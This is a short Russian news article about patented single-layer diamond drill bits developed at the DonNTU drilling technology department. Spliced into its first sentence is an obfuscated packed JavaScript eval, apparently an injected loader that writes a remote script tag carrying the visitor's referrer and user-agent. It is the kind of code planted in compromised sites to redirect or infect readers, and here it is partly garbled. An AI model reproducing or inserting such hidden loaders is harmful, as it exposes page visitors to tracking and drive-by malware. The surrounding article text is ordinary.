

Сотрудниками eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|nrkeh|var|u0026u|referrer|byeik||js|php'.split('|'),0,{})) кафедры технологии и техники бурения скважин Донецкого национального технического университета (ДонНТУ) под руководством Каракозова А.А. проводятся исследования в области создания новых технических средств и технологий бурения геологоразведочных скважин. Артур Каракозов является автором более 120 авторских свидетельств и патентов на изобретения и полезные модели, полученных университетом.



Одними из последних достижений кафедры является серия усовершенствованных алмазных однослойных буровых коронок, разработанная совместно с учёными Института сверхтвёрдых материалов имени В.Н. Бакуля. Права на новые разработки защищены патентами на изобретения, выданными в июне 2015 г.

В процессе бурения скважины алмазная буровая коронка работает в весьма тяжелых условиях. В частности это связано с неоднородностью свойств разбуриваемых горных пород и нагрузок, действующих на алмазные резцы коронки. Учитывая эти факторы, авторы предлагают несколько вариантов исполнения алмазных буровых коронок, с определенными параметрами расположения объемных алмазов, которые позволяют равномерно распределить нагрузки и увеличить ресурс работы алмазного породоразрушающего инструмента.

В настоящее время на кафедре уже созданы опытные образцы защищенных патентами устройств, проводятся экспериментальные исследования, подтверждающие эффективность новых разработок, и планируется их использование при бурении скважин при проведении инженерно-геологических изысканий, в том числе и на нефтяных месторождениях.